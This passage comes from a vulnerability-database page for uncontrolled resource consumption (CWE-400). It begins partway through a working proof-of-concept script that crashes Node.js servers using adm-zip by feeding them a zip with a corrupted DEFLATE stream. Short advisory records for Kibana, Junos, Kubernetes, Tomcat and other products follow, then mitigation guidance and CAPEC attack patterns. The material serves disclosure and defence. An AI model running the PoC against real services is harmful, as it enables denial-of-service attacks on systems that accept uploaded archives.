zip.toBuffer();\nconsole.log(\"BUILT_GOOD_ZIP bytes=\" + goodBuf.length);\n\n// Step 2: locate the local file header (offset 0 in this single-entry\n// archive) and corrupt ONLY the compressed-data bytes in place, leaving\n// every size/offset/CRC field in the local header, central directory, and\n// EOCD record untouched -- so adm-zip\u0027s own parser still finds and slices\n// exactly the right region and reaches the vulnerable inflateAsync() path.\nconst LOCSIG = 0x04034b50;\nif (goodBuf.readUInt32LE(0) !== LOCSIG) {\n    throw new Error(\"unexpected local header signature -- adm-zip writer output changed\");\n}\nconst compressedSize = goodBuf.readUInt32LE(18); // LOCSIZ\nconst fileNameLen = goodBuf.readUInt16LE(26); // LOCNAM\nconst extraLen = goodBuf.readUInt16LE(28); // LOCEXT\nconst dataStart = 30 + fileNameLen + extraLen;\nconst dataEnd = dataStart + compressedSize;\nconsole.log(\n    \"LOCAL_HEADER compressedSize=\" + compressedSize +\n    \" dataStart=\" + dataStart + \" dataEnd=\" + dataEnd\n);\n\nconst badBuf = Buffer.from(goodBuf); // copy, do not mutate original\nfor (let i = dataStart; i \u003c dataEnd; i++) {\n    badBuf[i] = badBuf[i] ^ 0xff; // corrupt every byte of the DEFLATE stream\n}\nconsole.log(\"CORRUPTED_COMPRESSED_BYTES count=\" + (dataEnd - dataStart));\n\n// Step 3: parse the corrupted archive (this succeeds -- headers are intact)\n// and hit the vulnerable async decompression path.\nconst zip2 = new AdmZip(badBuf);\nconst entries = zip2.getEntries();\nconsole.log(\n    \"PARSED_CORRUPT_ZIP entries=\" + entries.length +\n    \" name=\" + entries[0].entryName\n);\n\ntry {\n    // This is the public, documented API a real server would call on an\n    // untrusted upload (readFileAsync / getDataAsync / extractAllToAsync\n    // all funnel into the same decompress(true, ...) -\u003e inflateAsync path).\n    entries[0].getDataAsync(function (data, err) {\n        // If this ever fires, the library handled the error gracefully\n        // (no crash) -- meaning the vulnerability is NOT present / already\n        // fixed in this build.\n        console.log(\n            \"CALLBACK_FIRED data_len=\" + (data ? data.length : 0) +\n            \" err=\" + err\n        );\n    });\n    console.log(\"SYNC_CALL_RETURNED_NO_THROW\");\n} catch (e) {\n    // If this ever fires, the bug is NOT present -- the error would be\n    // synchronously catchable by ordinary calling code.\n    console.log(\"CAUGHT_BY_TRY_CATCH: \" + e.message);\n}\n\nconsole.log(\"HARNESS_END_OF_SYNCHRONOUS_CODE\");\n// Deliberately NOT registering process.on(\"uncaughtException\", ...) here --\n// doing so would mask the exact bug under test. A real, unmodified server\n// process has no reason to install a blanket uncaughtException handler\n// either; that is precisely what makes this an unrecoverable process crash.\n\"\"\" % {\"repo_dir\": repo_dir}\n\n\n# ============================================================\n# Step 1: Setup\n# ============================================================\ndef setup():\n    \"\"\"Verify prerequisites and write out the Node.js harness script.\"\"\"\n    print(f\"[*] Setting up PoC for {PACKAGE_NAME}@{TARGET_VERSION}\")\n    print(f\"[*] Target adm-zip source tree: {REPO_DIR}\")\n\n    main_entry = os.path.join(REPO_DIR, \"adm-zip.js\")\n    if not os.path.isfile(main_entry):\n        print(f\"[-] Cannot find adm-zip.js at {main_entry}\")\n        sys.exit(1)\n\n    try:\n        node_version = subprocess.run(\n            [NODE_BIN, \"--version\"], capture_output=True, text=True, timeout=10\n        )\n        print(f\"[*] Found Node.js: {node_version.stdout.strip()}\")\n    except FileNotFoundError:\n        print(\"[-] node binary not found on PATH -- required to run this PoC\")\n        sys.exit(1)\n\n    handle, harness_path = tempfile.mkstemp(prefix=\"admzip_async_dos_\", suffix=\".js\")\n    with os.fdopen(handle, \"w\") as f:\n        f.write(build_harness_script(REPO_DIR))\n    print(f\"[*] Wrote Node harness to {harness_path}\")\n    return harness_path\n\n\n# ============================================================\n# Step 2: Trigger the vulnerability\n# ============================================================\ndef trigger(harness_path):\n    \"\"\"Run the Node harness (in its own isolated child process) that builds\n    the malicious zip and feeds it into adm-zip\u0027s vulnerable async API.\"\"\"\n    print(\"[*] Triggering vulnerability (spawning isolated Node subprocess)...\")\n    try:\n        proc = subprocess.run(\n            [NODE_BIN, harness_path],\n            capture_output=True,\n            text=True,\n            timeout=SUBPROCESS_TIMEOUT_SECONDS,\n            cwd=REPO_DIR,\n        )\n        return {\n            \"timed_out\": False,\n            \"returncode\": proc.returncode,\n            \"stdout\": proc.stdout,\n            \"stderr\": proc.stderr,\n        }\n    except subprocess.TimeoutExpired as e:\n        return {\n            \"timed_out\": True,\n            \"returncode\": None,\n            \"stdout\": (e.stdout or b\"\").decode(errors=\"replace\") if isinstance(e.stdout, bytes) else (e.stdout or \"\"),\n            \"stderr\": (e.stderr or b\"\").decode(errors=\"replace\") if isinstance(e.stderr, bytes) else (e.stderr or \"\"),\n        }\n\n\n# ============================================================\n# Step 3: Verify impact\n# ============================================================\ndef verify(result):\n    \"\"\"Check that the child process crashed with an unhandled \u0027error\u0027 event\n    originating from the async inflater, and that neither the try/catch nor\n    the getDataAsync callback in the harness ever ran.\"\"\"\n    print(\"[*] Verifying impact...\")\n    print(f\"[*] Child process exit code: {result[\u0027returncode\u0027]}\")\n    print()\n    print(\"----- Node child process stdout -----\")\n    print(result[\"stdout\"].rstrip())\n    print(\"----- Node child process stderr (crash evidence) -----\")\n    print(result[\"stderr\"].rstrip())\n    print(\"--------------------------------------\")\n    print()\n\n    if result[\"timed_out\"]:\n        print(\"[-] Harness timed out instead of crashing -- inconclusive\")\n        return False\n\n    stdout = result[\"stdout\"]\n    stderr = result[\"stderr\"]\n    returncode = result[\"returncode\"]\n\n    reached_vuln_call = \"SYNC_CALL_RETURNED_NO_THROW\" in stdout\n    was_caught = \"CAUGHT_BY_TRY_CATCH\" in stdout\n    callback_fired = \"CALLBACK_FIRED\" in stdout\n    process_crashed = returncode is not None and returncode != 0\n    unhandled_error_evidence = (\n        \"Unhandled \u0027error\u0027 event\" in stderr\n        or \"ERR_UNHANDLED_ERROR\" in stderr\n        or \"Emitted \u0027error\u0027 event on InflateRaw instance\" in stderr\n    )\n\n    print(f\"[*] Reached vulnerable getDataAsync() call without throwing: {reached_vuln_call}\")\n    print(f\"[*] Caught by harness\u0027s own try/catch (would mean NOT vulnerable): {was_caught}\")\n    print(f\"[*] getDataAsync callback ever fired (would mean NOT vulnerable): {callback_fired}\")\n    print(f\"[*] Child process exited non-zero (crashed): {process_crashed}\")\n    print(f\"[*] stderr shows an unhandled \u0027error\u0027 event from the InflateRaw stream: {unhandled_error_evidence}\")\n\n    success = (\n        reached_vuln_call\n        and not was_caught\n        and not callback_fired\n        and process_crashed\n        and unhandled_error_evidence\n    )\n    return success\n\n\n# ============================================================\n# Main\n# ============================================================\nif __name__ == \"__main__\":\n    print(f\"=== CVE-CANDIDATE: {PACKAGE_NAME} async decompression DoS ===\")\n    print(f\"[*] Target version: {TARGET_VERSION}\")\n    print()\n\n    harness_path = setup()\n    try:\n        result = trigger(harness_path)\n        success = verify(result)\n    finally:\n        try:\n            os.remove(harness_path)\n            print(f\"[*] Cleaned up temp harness file: {harness_path}\")\n        except OSError:\n            pass\n\n    print()\n    if success:\n        print(\"[+] VULNERABILITY CONFIRMED\")\n        print(\n            \"[+] Impact: a single untrusted zip file with a corrupted DEFLATE \"\n            \"entry crashes the entire Node.js process when read via any \"\n            \"adm-zip *Async API (readFileAsync / readAsTextAsync / \"\n            \"extractAllToAsync / ZipEntry.getDataAsync). Unauthenticated, \"\n            \"single-request, unrecoverable process-level Denial of Service.\"\n        )\n    else:\n        print(\"[-] Vulnerability NOT confirmed\")\n\n    sys.exit(0 if success else 1)\n```",
  "id": "GHSA-8238-w5pm-2374",
  "modified": "2026-09-29T23:10:09Z",
  "published": "2026-09-29T23:10:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/security/advisories/GHSA-8238-w5pm-2374"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/commit/5e70d3a26097d68fa981c41f022c053117174e49"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cthackers/adm-zip"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/releases/tag/v0.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "adm-zip: Unhandled error event in async DEFLATE decompression crashes Node.js process (DoS)"
}

GHSA-823G-P8G4-Q559

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02
VLAI
Details

Kibana versions before 7.12.1 contain a denial of service vulnerability was found in the webhook actions due to a lack of timeout or a limit on the request size. An attacker with permissions to create webhook actions could drain the Kibana host connection pool, making Kibana unavailable for all other users.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-13T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Kibana versions before 7.12.1 contain a denial of service vulnerability was found in the webhook actions due to a lack of timeout or a limit on the request size. An attacker with permissions to create webhook actions could drain the Kibana host connection pool, making Kibana unavailable for all other users.",
  "id": "GHSA-823g-p8g4-q559",
  "modified": "2022-05-24T19:02:19Z",
  "published": "2022-05-24T19:02:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22139"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/7-12-1-security-update/271433"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-826G-P4H4-G7X3

Vulnerability from github – Published: 2025-01-28 00:32 – Updated: 2025-11-03 21:32
VLAI
Details

The issue was addressed with improved memory handling. This issue is fixed in macOS Ventura 13.7.3, macOS Sequoia 15.3, macOS Sonoma 14.7.3. An app may be able to cause unexpected system termination or corrupt kernel memory.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-24151"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-27T22:15:19Z",
    "severity": "CRITICAL"
  },
  "details": "The issue was addressed with improved memory handling. This issue is fixed in macOS Ventura 13.7.3, macOS Sequoia 15.3, macOS Sonoma 14.7.3. An app may be able to cause unexpected system termination or corrupt kernel memory.",
  "id": "GHSA-826g-p4h4-g7x3",
  "modified": "2025-11-03T21:32:29Z",
  "published": "2025-01-28T00:32:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24151"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122068"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122069"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122070"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Jan/15"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Jan/16"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Jan/17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-82F9-P6MV-5RCX

Vulnerability from github – Published: 2022-01-20 00:02 – Updated: 2022-01-27 00:03
VLAI
Details

An Uncontrolled Resource Consumption vulnerability in the kernel of Juniper Networks Junos OS allows an unauthenticated network based attacker to cause 100% CPU load and the device to become unresponsive by sending a flood of traffic to the out-of-band management ethernet port. Continued receipted of a flood will create a sustained Denial of Service (DoS) condition. Once the flood subsides the system will recover by itself. An indication that the system is affected by this issue would be that an irq handled by the fman process is shown to be using a high percentage of CPU cycles like in the following example output: user@host> show system processes extensive ... PID USERNAME PRI NICE SIZE RES STATE TIME WCPU COMMAND 31 root -84 -187 0K 16K WAIT 22.2H 56939.26% irq96: fman0 This issue affects Juniper Networks Junos OS: All versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R2-S9, 18.4R3-S9; 19.1 versions prior to 19.1R2-S3, 19.1R3-S7; 19.2 versions prior to 19.2R1-S7, 19.2R3-S3; 19.3 versions prior to 19.3R2-S7, 19.3R3-S4; 19.4 versions prior to 19.4R2-S5, 19.4R3-S5; 20.1 versions prior to 20.1R3-S1; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R2-S2, 20.4R3; 21.1 versions prior to 21.1R2; 21.2 versions prior to 21.2R1-S1, 21.2R2.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-19T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "An Uncontrolled Resource Consumption vulnerability in the kernel of Juniper Networks Junos OS allows an unauthenticated network based attacker to cause 100% CPU load and the device to become unresponsive by sending a flood of traffic to the out-of-band management ethernet port. Continued receipted of a flood will create a sustained Denial of Service (DoS) condition. Once the flood subsides the system will recover by itself. An indication that the system is affected by this issue would be that an irq handled by the fman process is shown to be using a high percentage of CPU cycles like in the following example output: user@host\u003e show system processes extensive ... PID USERNAME PRI NICE SIZE RES STATE TIME WCPU COMMAND 31 root -84 -187 0K 16K WAIT 22.2H 56939.26% irq96: fman0 This issue affects Juniper Networks Junos OS: All versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R2-S9, 18.4R3-S9; 19.1 versions prior to 19.1R2-S3, 19.1R3-S7; 19.2 versions prior to 19.2R1-S7, 19.2R3-S3; 19.3 versions prior to 19.3R2-S7, 19.3R3-S4; 19.4 versions prior to 19.4R2-S5, 19.4R3-S5; 20.1 versions prior to 20.1R3-S1; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R2-S2, 20.4R3; 21.1 versions prior to 21.1R2; 21.2 versions prior to 21.2R1-S1, 21.2R2.",
  "id": "GHSA-82f9-p6mv-5rcx",
  "modified": "2022-01-27T00:03:52Z",
  "published": "2022-01-20T00:02:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22161"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA11269"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-82HX-W2R5-C2WQ

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2023-09-20 22:42
VLAI
Summary
Kubernetes API Server DoS Via API Requests
Details

The Kubernetes API server component in Kubernetes versions prior to 1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via successful API requests.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/apiserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.15.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/apiserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.16.0"
            },
            {
              "fixed": "0.16.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/apiserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.17.0"
            },
            {
              "fixed": "0.17.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8552"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-06T21:48:16Z",
    "nvd_published_at": "2020-03-27T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Kubernetes API server component in Kubernetes versions prior to 1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via successful API requests.",
  "id": "GHSA-82hx-w2r5-c2wq",
  "modified": "2023-09-20T22:42:48Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8552"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/issues/89378"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/pull/87669"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/commit/5978856c4c7f10737a11c9540fe60b8475beecbb"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#!topic/kubernetes-security-announce/2UOlsba2g0s"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3SOCLOPTSYABTE4CLTSPDIFE6ZZZR4LX"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200413-0003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kubernetes API Server DoS Via API Requests"
}

GHSA-82JR-6MFR-9VQ5

Vulnerability from github – Published: 2026-08-26 00:30 – Updated: 2026-08-26 21:31
VLAI
Details

Uncontrolled Resource Consumption vulnerability in Apache Tomcat via an allocation leak in the HTTP/2 backlog tracking when a stream is reset

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.39 through 9.0.120.

The following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.59 through 8.5.100. Other unsupported versions may also be affected.

Users are recommended to upgrade to version 11.0.25, 10.1.58 or 9.0.121, which fix the issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-68763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T22:17:05Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled Resource Consumption vulnerability in Apache Tomcat\u00a0via an allocation leak in the HTTP/2 backlog tracking when a stream is reset\n\n\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.39 through 9.0.120.\n\n\n\nThe following versions were EOL at the time the CVE was created but are \nknown to be affected: from 8.5.59 through 8.5.100.\u00a0Other unsupported versions may also be affected.\n\n\n\nUsers are recommended to upgrade to version 11.0.25, 10.1.58 or 9.0.121, which fix the issue.",
  "id": "GHSA-82jr-6mfr-9vq5",
  "modified": "2026-08-26T21:31:39Z",
  "published": "2026-08-26T00:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68763"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/tv51ty39ppv41v04hdtkp9dp7tg02nzl"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/26/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-82MP-3RRR-QPGM

Vulnerability from github – Published: 2026-04-06 21:31 – Updated: 2026-04-07 15:30
VLAI
Details

An issue was discovered in L2 in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 9110, W920, W930, W1000, Modem 5123, Modem 5300, and Modem 5400. Incorrect handling of LTE MAC packets containing many MAC Control Elements (CEs) leads to baseband crashes.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-58349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-06T19:16:26Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in L2 in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 9110, W920, W930, W1000, Modem 5123, Modem 5300, and Modem 5400. Incorrect handling of LTE MAC packets containing many MAC Control Elements (CEs) leads to baseband crashes.",
  "id": "GHSA-82mp-3rrr-qpgm",
  "modified": "2026-04-07T15:30:46Z",
  "published": "2026-04-06T21:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58349"
    },
    {
      "type": "WEB",
      "url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates"
    },
    {
      "type": "WEB",
      "url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2025-58349"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-82VF-7XG6-267X

Vulnerability from github – Published: 2026-09-04 18:31 – Updated: 2026-09-04 21:31
VLAI
Details

Parrot AR.Drone version 1 and 2 does not employ a suitable mechanism to prevent denial-of-service (DoS) attacks. An attacker can harm the device availability (i.e., video streaming and control) by using tool to perform an IPv4 flood attack. Verified attacks includes SYN flooding and UDP flooding.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-44320"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-04T18:17:44Z",
    "severity": "HIGH"
  },
  "details": "Parrot AR.Drone version 1 and 2 does not employ a suitable mechanism to prevent denial-of-service (DoS) attacks. An attacker can harm the device availability (i.e., video streaming and control) by using tool to perform an IPv4 flood attack. Verified attacks includes SYN flooding and UDP flooding.",
  "id": "GHSA-82vf-7xg6-267x",
  "modified": "2026-09-04T21:31:49Z",
  "published": "2026-09-04T18:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44320"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gubertoli/cve/tree/main/CVE-2021-44320"
    },
    {
      "type": "WEB",
      "url": "https://www.researchgate.net/publication/257681090_ARDrone_corruption"
    },
    {
      "type": "WEB",
      "url": "https://www.researchgate.net/publication/313177418_The_Impact_of_DoS_Attacks_on_the_ARDrone_20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list